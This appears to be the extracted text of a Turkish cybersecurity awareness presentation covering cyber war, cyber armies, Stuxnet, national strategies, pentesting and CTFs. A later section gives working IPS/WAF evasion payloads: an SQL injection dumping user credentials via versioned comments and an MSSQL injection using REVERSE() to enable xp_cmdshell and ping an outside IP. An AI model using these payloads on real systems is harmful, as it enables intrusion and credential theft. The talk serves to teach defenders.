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Genel Terim ve Kavramlar 

• Siber savaş(cyber warfare), siber tehditler, siber 
suç(cyber crime), cyber espionage, cyber 
intelligence, siber sabotaj(cyber sabotage), siber 
terörizm (Cyberterrorism), siber casusluk (Cyber 
spying), siber silah (cyber o weapon), sızma 
testleri (penetration test), siber 
güvenlik yarışmaları(CTF -Capture The Flag) 



Teknolojinin Yaşam Döngüsü 

Teknolojiyi 
Araştır 

Teknolojiyi 
Al 

Teknolojiyi 
Öğren 

Teknolojiyi 
Kullan 

Güvenliğini 
Sağla 



Obama’dan İnciler... 

• So cyberspace is real.  And so are the risks that come 
with it. 

• In short, America's economic prosperity in the 21st 
century will depend on cybersecurity. 

• it's now clear this cyber threat is one of the most 
serious economic and national security challenges we 
face as a nation. 

• And finally, we will begin a national campaign to 
promote cybersecurity awareness 

 

 



Siber Hayat 

• Siber tanımı: Altyapısı bilişim sistemleri olan ve gerçek 
hayatın gölgesi niteliğindeki yaşam. 

• Alışveriş, oyun, film, müzik, ticaret, yemek, komşuluk, 
istihbarı bilgi toplama vs gibi gerçek hayatın vazgeçilmez 
işleri siber hayatta da benzeri isimlerle yer almaktadır. 

• Halk içinde sanal dünya olarak  da bilinir. 



Siber Güvenlik 

• Siber hayatın güvenliği(gizlilik, bütünlük ve erişilebilirlik) 
sağlanması amacıyla gerçekleştirilen faaliyetlerin tümü. 

• Bilgi güvenliğinden farkı: daha soyut ve geniş bir alanı 
kapsaması 

– Bilgi güvenliği teknik, siber güvenlik sosyal bir tanımdır. 

• ~2015’li yıllarda en sık kullanılacak tanımlardan. 



Siber Güvenlik Gerçek Dünyayı nasıl 
Etkiler? 

• Wikileaks... 

– Ortadoğuda devlet başkanlarının son durumu 

• Türkiye’de kaset mevzuları 

– Siber dünyanın sağladığı sınırsız özgürlük(?) sayesinde 
kişilerin özel yaşam kavramı kalmayacaktır 

• 22 Ağustos’da Türkiye internetinde 
gerçekleştirilecek kısıtlamalar 

• Artık tüm internet kullanıcıları belirli profil seçerek internete 
bağlanacak ve izlenebilecek! 



Güncel Durum 

• Siber hayat kavramının yerleşmesi. 

• Siber güvenlik, siber savaş, siber ordu tanımlarının 
konuşulmaya başlanması. 

• Yerli güvenlik yazılımlarının geliştirilmeye 
başlanması(yerli üretim %0,1 seviyelerinde) 

• Temel eksiklik: bilgi güvenliği farkındalığı, teknik 
konularda çalışanların temel bilgi eksikliği.  

• Siber güvenliğin lüks değil, gereksinim olduğu 
fikrinin yaygınlaşması.  

• Siber Güvenlik Derneği kurulumu.(2011) 
 



Siber Tehditler 

• Bilgi güvenliğini ihlal edecek tüm faaliyetler 

– DDoS saldırıları: internet üzerinden sistemlerin 
erişilebilir olmasını engelleme 

– Hacking aktiviteleri 

• Bilgi sızdırma faaliyetleri 
– RSA 

– Sony PS ağı üyelerinin bilgilerinin sızması 

• Prestij zarar verme faaliyetleri 



Siber Savaş 

• Bilişim sistemleri kullanılarak gerçekleştirilen ve amacı bir şirkete, bir 
ülkeye veya bir gruba yönelik maddi, manevi zararlar verme olan  
faaliyetler. 

• 2007 Estonya örneği: 
– DDoS saldırılarıyla ülkenin internet sisteminin işlemez hale getirilmesi 

• 2010 Türkiye  örneği: 
– Yotube yasağını protesto eden bir grup Hacker  

Çeşitli bakanlık sitelerine yönelik DDoS saldırıları gerçekleştirdi. 

• 2011 Türkiye örneği: 
– Anonymous grubunun 22 Ağustos’u protesto eden saldırıları 

– Etkilenen kurumlar? 

 



Siber Savaş Tarafları 

• Hacker grupları 

• Ticari markalar, ticari firmalar 

• Devletler 

• Muhalif gruplar 

 



Siber Ordu 

• Ülkeyi, kurumu siber dünyadan gelebilecek 
tehlikelere karşı koruyacak ve gerektiğinde siber 
saldırılar gerçekleştirebilecek yetenekteki bilgi 
güvenliği uzmanlarının  

• Siber ordu mensubu tüm askerler hem saldırı hem 
de koruma yöntemlerini çok iyi bilmek 
zorundadırlar . 

• İki tür siber ordu bulunmaktadır: 
– Devlet eliyle yetiştirilen resmi birimler 

– Gönüllü fakat resmi ayağı olmayan birimler 



Dünyadaki Siber Ordular 

• İlk siber ordu Amerika Birleşik Devletleri tarafından gizli 
olarak kurulmuştur. 

• Bu konuda en önemli yatırımlardan biri K.Kore’dir. 
• Türkiye’de henüz “bilinen” düzenli bir siber ordu yoktur. 
• Bazı ülkelerde “gönüllü”, siber ordular bulunmaktadır. 
• 2010 yılında birçok ülke siber ordu konusunu gündemine 

almıştır. 



Cyber spying 

• Çeşitli hacking yöntemleri kullanılarak hedef 
şirket/kurum/devletten bilgi sızdırmak 

– Özellikle istihbarat teşkilatlarının sık başvurduğu 
yöntemlerden biridir. 

– İstihbarat teşkilatları güvenlik sistemlerine 
yakalanmayacak malware, virüs geliştirme konusunda 
ciddi yatırımlar gerçekleştirmektedir. 

– Bunun en iyi örneği İran’da yaşanan Stuxnet adı verilen 
ve doğrudan SCADA sistemlere yönelik aksiyon alan 
kötücül yazılımdır. 



Cyber  weapon 

• Klasik dünyadaki silah kavramından farklı olarak 
siber silah sadece yoketme amacı taşımamaktadır. 
Yeri geldiğinde yoketme, yeri geldiğinde iz silme ve 
yeri geldiğinde hedef sistemlerden bilgi kaçırma 
amaçlı kullanılacak yöntem ve araçlardır. 

• Stuxnet en güncel ve ideal siber silah örneğidir. 



Siber Casus 

• Siber casuslar siber ordu elemanlarıdır 

• En az 3 yıl süren özel eğitimlerden geçirilerek bilgi 
güvenliğine ait tüm konuları bilen ve 3 konuda ileri seviye 
uzman olan kişilere verilen lakaptır. 

• Bu kişilerin görevleri bilişim sistemlerini kullanarak bilgi 
sızdırmaktır. 

• Görevleri  genellikle teknoloji şirketlerinde “bilgisayarla 
ilgili herhangi bir alandır” 



Ülkelerin siber güvenlik stratejileri 

• Siber güvenlik konusunda alınacak stratehjiler 
doğrudan o ülkenin gelişmişliğiyle alakalıdır 

• Siber güvenlik demek teknolojiden daha fazla 
faydalanılıyor demek ve daha fazla korunma ihtiyacı 
duyuluyor demektir. 

• 2008-2011 yılları arasında çoğu gelişmiş ülke siber 
güvenlik stratejilerini açıklamış ve yürürlüğe 
koymuştur. 

• Türkiye’de henüz kabul edilen bir siber güvenlik 
stratejisi yoktur 
– Kırmızı kitaba eklenen üç satır hariç 



Ülkelerin siber güvenlik stratejileri 

• Canada Cyber Security Strategy 

– http://www.publicsafety.gc.ca/prg/ns/cbr/_fl/ccss-scc-
eng.pdf 

• ESTONIA Cyber Security Strategy  

– http://www.mod.gov.ee/files/kmin/img/files/Kuberjulg
eoleku_strateegia_2008-2013_ENG.pdf 

• Cyber Security Strategy for Germany 

– http://www.bmi.bund.de/SharedDocs/Downloads/DE/
Themen/OED_Verwaltung/Informationsgesellschaft/cy
ber_eng.pdf?__blob=publicationFile 
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Ülkelerin siber güvenlik stratejileri 

• Cyber Security Strategy of the United Kingdom 

– http://www.computerweekly.com/blogs/read-all-
about-
it/Cabinet%20Office%20Cybersecurity%20review%2009
.pdf 

• Australian Government Cyber SeCurity Strategy 

– http://www.ema.gov.au/www/agd/rwpattach.nsf/VAP/
(4CA02151F94FFB778ADAEC2E6EA8653D)~AG+Cyber+
Security+Strategy+-
+for+website.pdf/$file/AG+Cyber+Security+Strategy+-
+for+website.pdf  
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Penetration test 

• Sistemlerin güvenliğini test ettirmek amacıyla 
gerçekleştirilen ve hackerların kullandıkları 
yöntemleri kullanan beyaz şapkalıların gözüyle 
sistem açıklıklarının aranması 

– Whitebox pentest 

– Blackbox pentest  

 

Olmak üzere temelde ikiye ayrılır. Ciddi teknik altyapı 
gerektiren bir prosestir. 



CTF -Capture The Flag 

• Bilgi güvenliği uzmanlarının offensive security 
konuları hakkında bilgi sahibi olmaları ve pratik 
yapmaları için geliştirilmiş bir oyun türüdür. 

• Genellikle red team(saldırgan) ve blue team olmak 
üzere ikiye ayrılırlar 

• Red team hedefleri ele geçirmeye, blue team de 
hedefleri savunmaya yönelik çabalar. 

• Ve oyun boyunca her iki taraf da pratik olarak 
bilgilerini kullanma ve test etme şansı yakamış olur. 



II. Bölüm 
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Klasik Güvenlik Anlayışı 

• Tümden savunma! 

• Ürün temelli bir güvenlik anlayışı 

– Ürün= sihirbaz bakış açısı(bilgi-sayar) 

• Türkiye’ye özel değil tüm dünya için geçerli 

• Teknik sorunlar teknik yollarla çözülür, insani 
sorunlar insanla çözülür 

• Temel bilgi sahibi olmadan ileri seviye işler 
yapmaya çalışma 

– TCP/IP bilmeden Firewall/IPS yönetmek 
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Uygulama Güvenliği Nedir? 

• Yazılım geliştiriciler en kısa sürede ortaya ürün çıkarma peşindeler. 

• Guvenlik uzmanları yoğunlukla altyapı güvenliğine yönelmişlerdir 

• Uygulama Güvenliği: Üretilen yazılımın fonksiyonlarını yitirmeden 
güvenli bir şekilde geliştirilmesini sağlama. 

Uygulama 
Güvenliği 

Yazılım Geliştirme IT Güvenlik 

25 



Hacking Stage 6 
  — Wikipedia, Feb 9 2007 

Neden Uygulama Güvenliği 
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Neden Uygulama Güvenliği, devam 
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Güvenlik Dünyasının Gidişatı 

Firewall IDS/IPS WAF 



Hacker’larin Gidişatı 

Client 
inSecurity 

Mobile 
inSecurity 

Social 
Networks/Eng. 



Hacker / güvenlik uzmanı 

• Güvenlik uzmanları prosedürel hareket ettiği için 
hackerlara göre bir adım geriden gelir. 

• Güvenlik uzmanları için koruma bir meslek, hackerlar 
için bu korumaları aşmak bir zevktir. 

• Hacker için bilgi güvenliği diye bir kavram yoktur, 
sadece aşılması gereken engel vardır! 

• Hackerların mesaisi, sayısı ve motivasyonu farklıdır... 

– Siber dünyada gece gündüz kavramları yoktur 

– 7/24 mesai yaparlar! 

• Örnek: Wordpress açıklığı 



Bakış Açısı 



SMS ile kaos oluşturma! 



HTTPS Üzerinden “Free Internet” 

• Bazı durumlarda HTTPS portu üzerinde hiç erişim 
kontrolü olmayabilir 



SQL Yorumları ile IPS Atlatma 

• /* comment */  yorum satırı olarak algılanır(SQL 
+WAF+IPS tarafından) 

• /*!sql-code*/ ve /*!12345sql-code*/ yorum olarak 
algılanmaz(SQL tarafından)(WAF+IPS’ler tarafından 
yorum olarak algılanır) 

 

• /?id=1/*!limit+0+union+select+concat_ws(0x3a,us
ername,password,email)+from+users*/ 
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Encoding Kullanarak IPS Atlatma 

Inline çalışan WAF/IPS’lerde işe yarar 
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SQL Reverse Fonksiyonu ile IPS Atlatma 

• SQL Sunucularda bulunan reverse fonksiyonu kullanılır 
– Reverse(lqs) = sql 

• var=1';DECLARE @a varchar(200) DECLARE @b 
varchar(200) DECLARE @c varchar(200) SET @a = 
REVERSE ('1 ,"snoitpo decnavda wohs" 
erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE 
SET @b = REVERSE ('1,"llehsdmc_px" 
erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE 
SET @c =REVERSE('“08.911.39.19 gnip" llehsdmc_px') 
EXEC (@c);-- 
 

• REVERSE('“08.911.39.19 gnip" llehsdmc_px')= ping 
91.93.119.80 
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Parola Profilimiz 

• 123456  
• 123456789 
•  0 
•  111111  
• 123123 
•  14531453  
• 1234567  
• 123654  
• 19861986  
• 12345678 
•  666666  



NetSec Ağ Ve Bilgi Güvenliği Topluluğu 

• Türkiye’nin en geniş katılımlı bilgi güvenliği e-posta 
listesi ve topluluğu 

– ~1200 üye 

• Ücretsiz üye olabilirsiniz. 

• Güvenlik dünyasında yayınlanan önemli haberler, 
güvenlik yamaları ve birçok teknik konuda 
tartışma... 

• Üyelik için 

– http://www.lifeoverip.net/netsec-listesi/ 
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Sorular? 
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